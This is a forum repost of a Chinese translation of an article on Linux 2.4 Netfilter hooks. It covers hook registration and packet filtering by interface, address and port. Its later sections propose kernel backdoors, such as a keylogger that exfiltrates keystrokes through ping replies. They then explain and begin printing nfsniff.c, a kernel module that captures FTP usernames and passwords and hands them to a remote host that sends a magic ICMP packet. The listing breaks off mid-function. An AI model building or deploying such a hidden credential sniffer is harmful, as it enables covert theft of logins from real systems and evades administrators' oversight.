歡迎您光臨本站 註冊首頁

深入Linux網路核心堆棧

←手機掃碼閱讀     火星人 @ 2014-03-26 , reply:0

目錄

1 - 簡介
1.1 - 本文涉及的內容
1.2 - 本文不涉及的內容
2 - 各種Netfilter hook及其用法
2.1 - Linux內核對數據包的處理
2.2 - Netfilter對IPv4的hook
3 - 註冊和註銷Netfilter hook
4 - Netfilter 基本的數據報過濾技術[1]
4.1 - 深入hook函數
4.2 - 基於介面進行過濾
4.3 - 基於地址進行過濾
4.4 - 基於TCP埠進行過濾
5 - Netfilter hook的其它可能用法
5.1 - 隱藏後門的守護進程
5.2 - 基於內核的FTP密碼嗅探器
5.2.1 - 源代碼 : nfsniff.c
5.2.2 - 源代碼 : getpass.c
6 - 在Libpcap中隱藏網路通信
6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
6.2 - 給狼披上羊皮
7 - 結束語
A - 輕量級防火牆
A.1 - 概述
A.2 - 源代碼 : lwfw.c
A.3 - 頭文件 : lwfw.h
B - 第6節中的源代碼

--[ 1 - 簡介

本文將向你展示,Linux的網路堆棧的一些怪異行為(並不一定是弱點)如何被用於邪惡的或者是其它形形色色的目的。在這裡將要討論的是將表面上看起來合法的Netfilter hook用於後門的通信,以及一種使特定的網路通信在運行於本機的基於Libpcap的嗅探器中消聲匿跡的技術。
Netfilter是Linux 2.4內核的一個子系統,Netfiler使得諸如數據包過濾、網路地址轉換(NAT)以及網路連接跟蹤等技巧成為可能,這些功能僅通過使用內核網路代碼提供的各式各樣的hook既可以完成。這些hook位於內核代碼中,要麼是靜態鏈接的,要麼是以動態載入的模塊的形式存在。可以為指定的網路事件註冊相應的回調函數,數據包的接收就是這樣一個例子。


----[ 1.1 - 本文涉及的內容

本文討論模塊編寫者如何利用Netfilter hook來實現任意目的以及如何將將網路通信在基於Libpcap的應用程序中隱藏。雖然Linux 2.4支持對IPv4、IPv6以及DECnet的hook,但在本文中將只討論關於IPv4的話題,雖然如此,大部分關於IPv4的內容都同樣可以運用於其它幾種協議。出於教學的目的,附錄A提供了一個可用的、提供基本的包過濾的內核模塊。本文中所有的開發和試驗都在運行於Intel主機上的Linux 2.4.5中完成。對Netfilter hook功能的測試在環回介面、乙太網介面以及數據機點對點介面上完成。

本文也是出於我對Netfilter完全理解的嘗試的興趣而寫的。我並不能保證文中附帶的任何代碼100%的沒有錯誤,但是我已經測試了所有在這裡提供的代碼。我已經受夠了核心錯誤的折磨,因此真誠的希望你不會再如此。同樣,我不會為任何按照本文所述進行的操作中可能發生的損害承擔責任。本文假定讀者熟悉C語言編程並且有一定的關於可載入模塊的經驗。

歡迎對本文中出現的錯誤進行批評指正,我同時開誠布公的接受對本文的改進以及其它各種關於Netfilter的優秀技巧的建議。


---- [ 1.2 - 本文不涉及的內容

本文不是一個完全的關於Netfilter的細節上的參考資料,同樣,也不是一個關於iptables的命令的參考資料。如果你想了解更多的關於iptables的命令,請參考相關的手冊頁。

好了,讓我們從Netfilter的使用介紹開始 ...


--[ 2 - 各種Netfilter hook及其用法
----[ 2.1 - Linux內核對數據包的處理

看起來好像是我很喜歡深入到諸如Linux的數據包處理以及事件的發生以及跟蹤每一個Netfilter hook這樣的血淋淋的細節中,事實並非如此!原因很簡單,Harald Welte已經寫了一篇關於這個話題的優秀的文章——《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關於Linux數據包處理的內容,我強烈推薦你去拜讀這篇文章。現在,僅需要理解:當數據包遊歷Linux內核的網路堆棧時,它穿過了幾個hook點,在這裡,數據包可以被分析並且選擇是保留還是丟棄,這些hook點就是Netfilter hook。


----[ 2.2 - Netfilter對IPv4的hook

Netfilter中定義了五個關於IPv4的hook,對這些符號的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中:

表1 : 可用的IPv4 hook

Hook 調用的時機
NF_IP_PRE_ROUTING 在完整性校驗之後,選路確定之前
NF_IP_LOCAL_IN 在選路確定之後,且數據包的目的是本地主機
NF_IP_FORWARD 目的地是其它主機地數據包
NF_IP_LOCAL_OUT 來自本機進程的數據包在其離開本地主機的過程中
NF_IP_POST_ROUTING 在數據包離開本地主機「上線」之前

NF_IP_PRE_ROUTING這個hook是數據包被接收到之後調用的第一個hook,這個hook既是稍後將要描述的模塊所用到的。當然,其它的hook同樣非常有用,但是在這裡,我們的焦點是在NF_IP_PRE_ROUTING這個hook上。

在hook函數完成了對數據包所需的任何的操作之後,它們必須返回下列預定義的Netfilter返回值中的一個:

表2 : Netfilter返回值

返回值 含義
NF_DROP 丟棄該數據包
NF_ACCEPT 保留該數據包
NF_STOLEN 忘掉該數據包
NF_QUEUE 將該數據包插入到用戶空間
NF_REPEAT 再次調用該hook函數

NF_DROP這個返回值的含義是該數據包將被完全的丟棄,所有為它分配的資源都應當被釋放。NF_ACCEPT這個返回值告訴Netfilter:到目前為止,該數據包還是被接受的並且該數據包應當被遞交到網路堆棧的下一個階段。NF_STOLEN是一個有趣的返回值,因為它告訴Netfilter,「忘掉」這個數據包。這裡告訴Netfilter的是:該hook函數將從此開始對數據包的處理,並且Netfilter應當放棄對該數據包做任何的處理。但是,這並不意味著該數據包的資源已經被釋放。這個數據包以及它獨自的sk_buff數據結構仍然有效,只是hook函數從Netfilter獲取了該數據包的所有權。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這裡我不討論它。最後一個返回值NF_REPEAT請求Netfilter再次調用這個hook函數。顯然,使用者應當謹慎使用NF_REPEAT這個返回值,以免造成死循環。

--[3 - 註冊和註銷Netfilter hook

註冊一個hook函數是圍繞nf_hook_ops數據結構的一個非常簡單的操作,nf_hook_ops數據結構在linux/netfilter.h中定義,該數據結構的定義如下:

struct nf_hook_ops {
struct list_head list;

/* 此下的值由用戶填充 */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hook以升序的優先順序排序 */
int priority;
};

該數據結構中的list成員用於維護Netfilter hook的列表,並且不是用戶在註冊hook時需要關心的重點。hook成員是一個指向nf_hookfn類型的函數的指針,該函數是這個hook被調用時執行的函數。nf_hookfn同樣在linux/netfilter.h中定義。pf這個成員用於指定協議族。有效的協議族在linux/socket.h中列出,但對於IPv4我們希望使用協議族PF_INET。hooknum這個成員用於指定安裝的這個函數對應的具體的hook類型,其值為表1中列出的值之一。最後,priority這個成員用於指定在執行的順序中,這個hook函數應當在被放在什麼地方。對於IPv4,可用的值在linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出於示範的目的,在後面的模塊中我們將使用NF_IP_PRI_FIRST。

註冊一個Netfilter hook需要調用nf_register_hook()函數,以及用到一個nf_hook_ops數據結構。nf_register_hook()函數以一個nf_hook_ops數據結構的地址作為參數並且返回一個整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函數的實現代碼,你會發現該函數總是返回0。以下提供的是一個示例代碼,該示例代碼簡單的註冊了一個丟棄所有到達的數據包的函數。該代碼同時展示了Netfilter的返回值如何被解析。

示例代碼1 : Netfilter hook的註冊
/*
* 安裝一個丟棄所有到達的數據包的Netfilter hook函數的示例代碼
*/

#define __KERNEL__
#define MODULE

#include
#include
#include
#include

/* 用於註冊我們的函數的數據結構 */
static struct nf_hook_ops nfho;

/* 註冊的hook函數的實現 */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP; /* 丟棄所有的數據包 */
}

/* 初始化程序 */
int init_module()
{
/* 填充我們的hook數據結構 */
nfho.hook = hook_func; /* 處理函數 */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數首先執行 */

nf_register_hook(&nfho);

return 0;
}

/* 清除程序 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

這就是全部內容,從示例代碼1中,你可以看到,註銷一個Netfilter hook是一件很簡單事情,只需要調用nf_unregister_hook()函數,並且以你之前用於註冊這個hook時用到的相同的數據結構的地址作為參數。


-- [4 - Netfilter 基本的數據報過濾技術
---- [4.1 - 深入hook函數

現在是到了看看什麼數據被傳遞到hook函數中以及這些數據如何被用於做過濾選擇的時候了。那麼,讓我們更深入的看看nf_hookfn函數的原型吧。這個函數原型在linux/netfilter.h中給出,如下:

typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *));

nf_hookfn函數的第一個參數用於指定表1中給出的hook類型中的一個。第二個參數更加有趣,它是一個指向指針的指針,該指針指向的指針指向一個sk_buff數據結構,網路堆棧用sk_buff數據結構來描述數據包。這個數據結構在linux/skbuff.h中定義,由於它的內容太多,在這裡我將僅列出其中有意義的部分。

sk_buff數據結構中最有用的部分可能就是那三個描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網路層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:乙太網或者RAW)的聯合(union)了。這三個聯合的名字分別是h、nh以及mac。這些聯合包含了幾個結構,依賴於具體的數據包中使用的協議。使用者應當注意:傳輸層包頭和網路層包頭可能是指向內存中的同一個位置。這是TCP數據包可能出現的情況,其中h和nh都應當被看作是指向IP頭結構的指針。這意味著嘗試通過h->th獲取一個值,並認為該指針指向一個TCP頭,將會得到錯誤的結果。因為h->th實際上是指向的IP頭,與nh->iph得到的結果相同。

接下來讓我們感興趣的其它部分是len和data這兩個域。len指定了從data開始的數據包中的數據的總長度。好了,現在我們知道如何在sk_buff數據結構中分別訪問協議頭和數據包中的數據了。Netfilter hook函數中有用的信息中其它的有趣的部分是什麼呢?

緊跟在skb之後的兩個參數是指向net_device數據結構的指針,net_device數據結構被Linux內核用於描述所有類型的網路介面。這兩個參數中的第一個——in,用於描述數據包到達的介面,毫無疑問,參數out用於描述數據包離開的介面。必須明白,在通常情況下,這兩個參數中將只有一個被提供。例如:參數in只用於NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數out只用於NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個階段中,我還沒有測試對於NF_IP_FORWARD hook,這兩個參數中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那麼你是非常優秀的!

最後,傳遞給hook函數的最後一個參數是一個命名為okfn函數指針,該函數以一個sk_buff數據結構作為它唯一的參數,並且返回一個整型的值。我不是很確定這個函數是幹什麼用的,在net/core/netfilter.c中查看,有兩個地方調用了這個okfn函數。這兩個地方是分別在函數nf_hook_slow()中以及函數nf_reinject()中,在其中的某個位置,當Netfilter hook的返回值為NF_ACCEPT時被調用。如果任何人有更多的關於okfn函數的信息,請務必告知。

** 譯註:Linux核心網路堆棧中有一個全局變數 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變數是一個二維數組,其中第一維用於指定協議族,第二維用於指定hook的類型(表1中定義的類型)。註冊一個Netfilter hook實際就是在由協議族和hook類型確定的鏈表中添加一個新的節點。

以下代碼摘自 net/core/netfilter,nf_register_hook()函數的實現:
int nf_register_hook(struct nf_hook_ops *reg)
{
struct list_head *i;

br_write_lock_bh(BR_NETPROTO_LOCK);
for (i = nf_hooks[reg->pf][reg->hooknum].next;
i != &nf_hooks[reg->pf][reg->hooknum];
i = i->next) {
if (reg->priority < ((struct nf_hook_ops *)i)->priority)
break;
}
list_add(?>list, i->prev);
br_write_unlock_bh(BR_NETPROTO_LOCK);
return 0;
}

Netfilter中定義了一個宏NF_HOOK,作者在前面提到的nf_hook_slow()函數實際上就是NF_HOOK宏定義替換的對象,在NF_HOOK中執行註冊的hook函數。NF_HOOK在Linux核心網路堆棧的適當的地方以適當的參數調用。例如,在ip_rcv()函數(位於net/ipv4/ip_input.c)的最後部分,調用NF_HOOK函數,執行NF_IP_PRE_ROUTING類型的hook。ip_rcv()是Linux核心網路堆棧中用於接收IPv4數據包的主要函數。在NF_HOOK的參數中,頁包含一個okfn函數指針,該函數是用於數據包被接收后完成後續的操作,例如在ip_rcv中調用的NF_HOOK中的okfn函數指針指向ip_rcv_finish()函數(位於net/ipv4/ip_input.c),該函數用於IP數據包被接收后的諸如IP選項處理等後續處理。

如果在內核編譯參數中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內核代碼中的相關部分如下(linux/netfilter.h):

#ifdef CONFIG_NETFILTER
...
#ifdef CONFIG_NETFILTER_DEBUG
#define NF_HOOK nf_hook_slow
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)
(list_empty(&nf_hooks[(pf)][(hook)])
? (okfn)(skb)
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#endif
...
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif /*CONFIG_NETFILTER*/

可見okfn函數是必不可少的,當Netfilter被啟用時,它用於完成接收的數據包后的後續操作,如果不啟用Netfilter做數據包過濾,則所有的數據包都被接受,直接調用該函數做後續操作。

** 譯註完

現在,我們已經了解了我們的hook函數接收到的信息中最有趣和最有用的部分,是該看看我們如何以各種各樣的方式來利用這些信息來過濾數據包的時候了!


----[4.2 - 基於介面進行過濾

這應該是我們能做的最簡單的過濾技術了。還記得我們的hook函數接收的參數中的那些net_device數據結構嗎?使用相應的net_device數據結構的name這個成員,你就可以根據數據包的源介面和目的介面來選擇是否丟棄它。如果想丟棄所有到達介面eth0的數據包,所有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那麼hook函數簡單的返回NF_DROP即可,數據包會被自動銷毀。就是這麼簡單!完成該功能的示例代碼見如下的示例代碼2。注意,Light-Weight FireWall模塊將會提供所有的本文提到的過濾方法的簡單示例。它還包含了一個IOCTL介面以及用於動態改變其特性的應用程序。

示例代碼2 : 基於源介面的數據包過濾
/*
* 安裝一個丟棄所有進入我們指定介面的數據包的Netfilter hook函數的示例代碼
*/

#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
/* 用於註冊我們的函數的數據結構 */
static struct nf_hook_ops nfho;

/* 我們丟棄的數據包來自的介面的名字 */
static char *drop_if = "lo";

/* 註冊的hook函數的實現 */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
if (strcmp(in->name, drop_if) == 0) {
printk("Dropped packet on %s...n", drop_if);
return NF_DROP;
} else {
return NF_ACCEPT;
}
}

/* 初始化程序 */
int init_module()
{
/* 填充我們的hook數據結構 */
nfho.hook = hook_func; /* 處理函數 */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數首先執行 */

nf_register_hook(&nfho);

return 0;
}

/* 清除程序 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

是不是很簡單?接下來,讓我們看看基於IP地址的過濾。


----[ 4.3 - 基於地址進行過濾

與根據數據包的介面進行過濾類似,基於數據包的源或目的IP地址進行過濾同樣簡單。這次我們感興趣的是sk_buff數據結構。還記得skb參數是一個指向sk_buff數據結構的指針的指針嗎?為了避免犯錯誤,聲明一個另外的指向skb_buff數據結構的指針並且將skb指針指向的指針賦值給這個新的指針是一個好習慣,就像這樣:

struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /

這樣,你訪問這個數據結構的元素時只需要反引用一次就可以了。獲取一個數據包的IP頭通過使用sk_buff數據結構中的網路層包頭來完成。這個頭位於一個聯合中,可以通過sk_buff->nh.iph這樣的方式來訪問。示例代碼3中的函數演示了當得到一個數據包的sk_buff數據結構時,如何利用它來檢查收到的數據包的源IP地址與被禁止的地址是否相同。這些代碼是直接從LWFW中取出來的,唯一不同的是LWFW統計的更新被移除。

示例代碼3 : 檢查收到的數據包的源IP

unsigned char *deny_ip = "x7fx00x00x01"; /* 127.0.0.1 */

...

static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to
* the IP header. */
if (!skb )return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
return NF_DROP;
}

return NF_ACCEPT;
}

這樣,如果數據包的源地址與我們設定的丟棄數據包的地址匹配,那麼該數據包將被丟棄。為了使這個函數能按預期的方式工作,deny_ip的值應當以網路位元組序(Big-endian,與Intel相反)存放。雖然這個函數不太可能以一個空的指針作為參數來調用,帶一點點偏執狂從來不會有什麼壞處。當然,如果錯誤確實發生了,那麼該函數將會返回NF_ACCEPT。這樣Netfilter可以繼續處理這個數據包。示例代碼4展現了用於演示將基於介面的過濾略做修改以丟棄匹配給定IP地址的數據包的簡單模塊。

示例代碼4 : 基於數據包源地址的過濾
/* 安裝丟棄所有來自指定IP地址的數據包的Netfilter hook的示例代碼 */

#define __KERNEL__
#define MODULE

#include
#include
#include
#include /* For IP header */
#include
#include

/* 用於註冊我們的函數的數據結構 */
static struct nf_hook_ops nfho;

/* 我們要丟棄的數據包來自的地址,網路位元組序 */
static unsigned char *drop_ip = "x7fx00x00x01";

/* 註冊的hook函數的實現 */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;

// 譯註:作者提供的代碼中比較地址是否相同的方法是錯誤的,見註釋掉的部分
if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
// if (sb->nh.iph->saddr == drop_ip) {
printk("Dropped packet from... %d.%d.%d.%dn",
*drop_ip, *(drop_ip + 1),
*(drop_ip + 2), *(drop_ip + 3));
return NF_DROP;
} else {
return NF_ACCEPT;
}
}

/* 初始化程序 */
int init_module()
{
/* 填充我們的hook數據結構 */
nfho.hook = hook_func; /* 處理函數 */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數首先執行 */

nf_register_hook(&nfho);

return 0;
}

/* 清除程序 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}


----[ 4.4 - 基於TCP埠進行過濾

另一個要實現的簡單規則是基於數據包的TCP目的埠進行過濾。這隻比檢查IP地址的要求要高一點點,因為我們需要自己創建一個TCP頭的指針。還記得我們前面討論的關於傳輸層包頭與網路層包頭的內容嗎?獲取一個TCP頭的指針是一件簡單的事情——分配一個tcphdr數據結構(在linux/tcp.h中定義)的指針,並將它指向我們的數據包中IP頭之後的數據。或許一個例子的幫助會更大一些,示例代碼5給出了檢查數據包的TCP目的埠是否與某個我們要丟棄數據包的埠匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。

示例代碼5 : 檢查收到的數據包的TCP目的埠
unsigned char *deny_port = "x00x19"; /* port 25 */

...

static int check_tcp_packet(struct sk_buff *skb)
{
struct tcphdr *thead;

/* We don't want any NULL pointers in the chain
* to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}

thead = (struct tcphdr *)(skb->data +
(skb->nh.iph->ihl * 4));

/* Now check the destination port */
if ((thead->dest) == *(unsigned short *)deny_port) {
return NF_DROP;
}

return NF_ACCEPT;
}

確實很簡單!不要忘了,要讓這個函數工作,deny_port必須是網路位元組序。這就是數據包過濾的基礎了,你應當已經清楚的理解了對於一個特定的數據包,如何獲取你想要的信息。現在,是該進入更有趣的內容的時候了!


--[ 5 - Netfilter hook的其它可能用法

在這裡,我將提出其它很酷的利用Netfilter hook的點子,5.1節將簡單的給出精神食糧,而5.2節將討論和給出可以工作的基於內核的FTP密碼嗅探器的代碼,它的遠程密碼獲取功能是確實可用的。事實上,它工作的令我吃驚的好,並且我編寫了它。

----[ 5.1 - 隱藏後門的守護進程

核心模塊編程也許是Linux開發中最有趣的部分之一了,在內核中編寫代碼意味著你在一個僅受限於你的想象力的地方寫代碼。以惡意的觀點來看,你可以隱藏文件、進程,並且做各式各樣很酷的,任何的rootkit能夠做的事情。那麼,以不太惡意的觀點來看(是的,持這中觀點人們的確存在),你可以隱藏文件、進程以及干各式各樣的事情。內核真是一個迷人的樂園!

有了賦予內核級程序員的強大力量,很多事情成為可能。其中最有趣的(也是讓系統管理員恐慌的)一個就是嵌入到內核中的後門。畢竟,如果後門不作為一個進程運行,那麼我們怎麼知道它的運行?當然,還是有辦法讓你的內核揪出這樣的後門來,但是它們可不像運行ps命令一樣容易和簡單。現今,將後門代碼放到內核中去的點子已經並不新鮮了。但是,我在這裡所提出的是安放一個用作內核後門的簡單的網路服務。你猜對了,正是Netfilter hook!

如果你已經具備必要的技能並且情願以做試驗的名義使你的內核崩潰,那麼你就可以構建簡單但是有用的,完全位於內核中的,可以遠程訪問的網路服務了。基本上一個Netfilter hook可以通過觀察收到的數據包來查找一個「魔法」數據包,並且當接收到這個「魔法」數據包時干指定的事情。結果可以通過Netfilter hook來發送。並且該hook函數可以返回NF_STOLEN,以使得收到的「魔法」數據包可以走得更遠。但是要注意,當以這種方式來發送時,輸出數據包對於輸出Netfilter hook仍然是可見的。因此用戶空間完全不知道這個「魔法」數據包的曾經到達,但是它們還是能看到你送所出的。當心!因為在泄密主機上的嗅探器不能看到這個包並不意味著在其它中間宿主主機上的嗅探器也看不到這個包。

kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述了如何通過註冊數據包類型處理器來完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因為它是一篇給出了一些非常有趣的點子的有趣讀物。

那麼,後門Netfilter hook可以幹些什麼工作呢?以下是一些建議:
-- 遠程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,並且當遠程主機發送一個PING請求時,結果被送到該主機。這樣,可以生成一個類似於穩定的(非洪水的)PING應答流的擊鍵信息的流。當然,你可能想要實現一個簡單的加密,這樣,ASCII鍵不會立即暴露它們自己,並且某些警覺的系統管理員會想:「堅持,我以前都是通過我的SSH會話來鍵入那些的!Oh $%@T%&!」。
-- 各種簡單的管理員任務,例如獲取當前登錄到主機的用戶的列表或責獲取打開的網路連接的信息。
-- 並非一個真正的後門,而是位於網路邊界的模塊,並且阻擋任何被疑為來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。
-- 文件傳輸「伺服器」。我最近已經實現了這個主意,由此引起的Linux核心編程是數小時的樂趣
-- 數據包跳躍。重定向目的為木馬主機指定埠的數據包到其它的IP主機和埠,並且從那台主機發回數據包到發起者。沒有進程被派生,並且最妙的是,沒有網路套接字被打開。
-- 上面描述的數據包跳躍用於與網路中的關鍵系統以半隱蔽方式通信。例如:配置路由器等。
-- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼並保存相關信息,直到進入的「魔法」數據包要求獲取它們。

以上只是一些想法的簡短的列表,其中最後一個想法是我們在接下來的一節中將要真正詳細討論的。它
提供了一個很好的了解更多的深藏於核心網路代碼中的函數的機會。

2006-4-18 09:32 AM #1



qiqi777
註冊會員




UID 143
精華 0
積分 127
帖子 44
閱讀許可權 20
註冊 2006-4-5
狀態 離線 ----[ 5.2 - 基於內核的FTP密碼嗅探器

在這裡展現的是一個簡單的,原理性的,用做Netfilter後門的模塊。該模塊嗅探輸出的FTP數據包,查找對於一個FTP伺服器一個USER於PASS命令對。當這樣一個命令對被發現后,該模塊接下來將等待一個「魔法」ICMP ECHO(ping)數據包,該數據包應當足夠大,使其能返回伺服器的IP地址、用戶名以及密碼。同時提供了一個快速的發送一個「魔法」數據包,獲取返回然後列印返回信息的技巧。一旦用戶名/密碼對從模塊讀取后,模塊將接著查找下一對。注意,模塊每次只保存一個對。以上是簡要的瀏覽,是該展示更多的細節,來看模塊如何做到這些的時候了。

當模塊載入時,模塊的init_module()函數簡單的註冊了兩個Netfilter hook。第一個用於查看輸入的數據包(在NF_IP_PRE_ROUTING處),嘗試發現「魔法」ICMP數據包。接下來的一個用於查看離開該模塊被安裝的主機的數據包(在NF_IP_POST_ROUTING處),這個函數正是搜索和捕獲FTP的USER和PASS數據包的地方。cleanup_module()函數只是簡單的註銷這兩個hook。

watch_out()是用於hook NF_IP_POST_ROUTING的函數,查看這個函數你可以看到,它的執行的操作非常簡單。當一個數據包進入這個函數過後,將經過各種檢查,以確定它是一個FTP數據包。如果它不是一個FTP數據包,那麼立即返回NF_ACCEPT。如果它是一個FTP數據包,那麼該模塊進行檢查是否已經存在一個用戶名/密碼對。如果存在(以have_pair的非零值標識),那麼返回NF_ACCEPT,該數據包最終能夠離開該系統。否則,check_ftp()函數被調用,這是密碼提取實際發生的地方。如果沒有先前的數據包已經被接收,那麼target_ip和target_port變數應當被清除。

check_ftp()開始於從數據包的開始查找"USER","ASS"或"QUIT"。注意直到USER命令處理之後才處理PASS命令。這樣做的目的是為了防止在某些情況下PASS命令先於USER命令被接收到以及在USER到達之前連接中斷而導致的死鎖的發生。同樣,如果QUIT命令到達時僅有用戶名被捕獲,那麼將重置操作,開始嗅探一個新的連接。當一個USER或者PASS命令到達時,如果必要完整性校驗通過,則記錄下命令的參數。正常運行下,在check_ftp()函數完成之前,檢查是否已經有了一個有效的用戶名和密碼串。如果是,則設置have_pair的值為非零並且在當前的用戶名/密碼對被獲取之前不會再抓取其它的用戶名或密碼。

到目前為止你已經看到了該模塊如何安裝它自己以及如何開始搜尋待記錄的用戶名和密碼。接下來你將看到當指定的「魔法」數據包到達時會發生什麼。在此需特別注意,因為這是在整個開發過程中出現的最大難題。如果我沒記錯的話,共遭遇了16個核心錯誤。當數據包進安裝該模塊的主機時,watch_in()檢查每一個數據包以查看其是否是一個「魔法」數據包。如果數據包不能提供足以證明它是一個「魔法」數據包的信息,那麼它將被被watch_in()忽略,簡單的返回一個NF_ACCEPT。注意「魔法」數據包的標準之一是它們必須有足夠的空間來存放IP地址以及用戶名和密碼串。這使得發送應答更加容易。當然,可以重新分配一個新的sk_buff,但是正確的獲取所有必要的域得值可能會比較困難,並且你還必須得正確的獲取它們!因此,與其為我們的應答數據包創建一個新的數據結構,不如簡單的調整請求數據包的數據結構。為了成功的返回數據包,需要做幾個改動。首先,交換IP地址,並且sk_buff數據結構中描述數據包類型的域(pkt_type)應當被換成PACKET_OUTGOING,這些宏在linux/if_packet.h中定義。接下來應當小心的是確定包含了任意的鏈路層頭。我們接收到的數據包的sk_buff數據結構的數據域指向鏈路層頭之後,並且它是指向被發送的數據包的數據的開始的數據域。那麼對於需要鏈路層包頭(乙太網及環回和點對點的raw)的介面,我們將數據域指向mac.ethernet或者mac.raw結構。為確定這個數據包來自的什麼類型的介面你可以查看sb->dev->type的值,其中sb是一個指向sk_buff數據結構的指針。這個域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個在下面的表3中列出。

表3 : 介面類型的常用值

類型代碼 介面類型
ARPHRD_ETHER 乙太網
ARPHRD_LOOPBACK 環回設備
ARPHRD_PPP 點對點(例如撥號)

最後,我們要做的是真正的複製我們想在的應答中送出的數據。到送出數據包的時候了,dev_queue_xmit()函數以一個指向sk_buff數據結構的指針作為它唯一的參數,在「好的錯誤」情況下,返回一個負的錯誤代碼。我所說的「好的錯誤」是什麼意思呢?如果你給函數dev_queue_xmit()一個錯誤構造的套接字緩衝,那麼你就會得到一個伴隨著內核錯誤和內核堆棧的dump信息的「不太好的錯誤」。看看在這裡錯誤如何能被分成兩組?最後,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經見到過這個數據包。如果你已經調用了dev_queue_xmit(),不要返回NF_DROP!這是因為dev_queue_xmit()將釋放傳遞進來的套接字緩衝,而Netfilter會嘗試對被NF_DROP的數據包做同樣的操作。好了。對於代碼的討論已經足夠了,請看具體的代碼。


------[ 5.2.1 - 源代碼 : nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge, March 2003 */

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36

#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len)
- sizeof(struct iphdr)
- sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;

tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
data = (char *)((int)tcp + (int)(tcp->doff * 4));

/* Now, if we have a username already, then we have a target_ip.
* Make sure that this packet is destined for the same host. */
if (username)
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
return;

/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, "USER ", 5) == 0) { /* Username */
data += 5;

if (username) return;

while (*(data + i) != 'r' && *(data + i) != 'n'
